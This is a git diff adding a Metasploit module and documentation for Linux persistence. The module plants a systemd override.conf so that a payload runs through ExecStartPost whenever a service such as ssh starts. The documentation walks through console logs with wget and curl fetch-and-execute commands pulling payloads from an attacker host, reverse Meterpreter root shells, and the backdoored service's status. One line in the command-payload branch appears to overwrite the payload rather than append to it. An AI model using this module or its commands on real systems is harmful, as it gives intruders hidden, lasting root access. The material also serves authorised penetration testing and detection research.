diff --git a/documentation/modules/exploit/linux/persistence/init_systemd_override.md b/documentation/modules/exploit/linux/persistence/init_systemd_override.md new file mode 100644 index 0000000000000..0943fa589d435 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_systemd_override.md @@ -0,0 +1,160 @@ +## Vulnerable Application + +This module will create an override.conf file for a SystemD service on the box. +The ExecStartPost hook is used to launch the payload after the service is started. +We need enough access (typically root) to write in the /etc/systemd/system +directory and potentially restart services. + +Verified on Ubuntu 22.04 + + +## Verification Steps + +1. Exploit a box and get a shell +2. `use exploit/linux/persistence/init_systemd_override` +3. `set SESSION ` +4. `exploit` + +## Options + +### SERVICE + +Which service to override. Defaults to `ssh`. + +### ReloadService + +If set to `true` (default), runs `systemctl restart` to restart the service. + +## Scenarios + +### Ubuntu 22.04 + +Initial (root) access + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 +lhost => 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set srvport 8082 +srvport => 8082 +resource (/root/.msf4/msfconsole.rc)> set uripath l +uripath => l +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4446 +lport => 4446 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 1.1.1.1:4446 +[*] Using URL: http://1.1.1.1:8082/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown +msf exploit(multi/script/web_delivery) > +[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 2.2.2.2 +[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400 + +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : 2.2.2.2 +OS : Ubuntu 22.04 (Linux 5.15.0-48-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence (utilizing a manual restart) + +``` +msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/persistence/init_systemd_override) > set session 1 +session => 1 +msf exploit(linux/persistence/init_systemd_override) > set ReloadService false +ReloadService => false +msf exploit(linux/persistence/init_systemd_override) > exploit +[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /t70WmtC4mNeBieRpZqn09Q +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[*] Creating /etc/systemd/system/ssh.service.d +[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc + +msf exploit(linux/persistence/init_systemd_override) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > shell +Process 2862 created. +Channel 6 created. +systemctl restart ssh +[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q +[*] Sending payload to 2.2.2.2 (curl/7.81.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 2.2.2.2 +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400 + +``` + +Evidence of compromise in systemctl + +``` +systemctl status ssh +* ssh.service - OpenBSD Secure Shell server + Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled) + Drop-In: /etc/systemd/system/ssh.service.d + `-override.conf + Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago + Docs: man:sshd(8) + man:sshd_config(5) + Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) + Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS) + Main PID: 2866 (sshd) + Tasks: 2 (limit: 3444) + Memory: 5.7M + CPU: 125ms + CGroup: /system.slice/ssh.service + |-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups" + `-2870 ./vYKBsdwwFTy + +Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server... +Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22. +Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22. +Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server. +``` + +Cleanup + +``` +meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc +[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives. +resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf +resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload" +Process 2914 created. +resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service" +Process 2915 created. +``` \ No newline at end of file diff --git a/modules/exploits/linux/persistence/init_systemd_override.rb b/modules/exploits/linux/persistence/init_systemd_override.rb new file mode 100644 index 0000000000000..6430993a54429 --- /dev/null +++ b/modules/exploits/linux/persistence/init_systemd_override.rb @@ -0,0 +1,155 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service SystemD override.conf Persistence', + 'Description' => %q{ + This module will create an override.conf file for a SystemD service on the box. + The ExecStartPost hook is used to launch the payload after the service is started. + We need enough access (typically root) to write in the /etc/systemd/system + directory and potentially restart services. + Verified on Ubuntu 22.04 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Platform' => ['unix', 'linux'], + 'Privileged' => true, + 'Targets' => [ + ['systemd', {}], + ['systemd user', {}] + ], + 'DefaultTarget' => 0, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'References' => [ + ['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'], + ['URL', 'https://askubuntu.com/a/659268'], + ['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files + ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE] + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '2010-03-30' # systemd release date + ) + ) + + register_options( + [ + OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']), + ] + ) + register_advanced_options( + [ + OptBool.new('ReloadService', [true, 'Reload the service', true]) + ] + ) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + + root_dir = '/lib/systemd/system/' + service_file = "#{root_dir}#{datastore['SERVICE']}.service" + + return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file) + + service_root_dir = '/etc/systemd/system/' + service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d" + override_conf = "#{service_dir}/override.conf" + + if directory?(service_dir) + return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf) + return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir) + else + return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir) + end + + CheckCode::Appears("#{writable_dir} is writable and system is systemd based") + end + + def install_persistence + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + + service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d" + override_conf = "#{service_dir}/override.conf" + + unless exists?(service_dir) + vprint_status("Creating #{service_dir}") + cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence + end + + if exists?(override_conf) + conf = read_file(override_conf) + backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup") + vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}") + @clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n" + else + @clean_up_rc << "rm #{override_conf}\n" + end + + if payload.arch.first == 'cmd' + p_load = payload.encoded + p_load = ' &' unless p_load.end_with?('&') + contents = <<~OVERRIDE + [Service] + ExecStartPost=/bin/sh -c '#{p_load}' + OVERRIDE + else + payload_path = writable_dir + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + print_status("Uploading payload file to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + contents = <<~OVERRIDE + [Service] + ExecStartPost=/bin/sh -c '#{payload_path} &' + OVERRIDE + end + + vprint_status("Writing override file to: #{override_conf}") + write_file(override_conf, contents) + + # This was taken from pam_systemd(8) + systemd_socket_id = cmd_exec('id -u') + systemd_socket_dir = "/run/user/#{systemd_socket_id}" + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload") + @clean_up_rc << 'execute -f /bin/systemctl -a "daemon-reload"' + @clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\"" + + if datastore['ReloadService'] + vprint_status("Reloading #{datastore['SERVICE']} service") + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service") + + end + end +end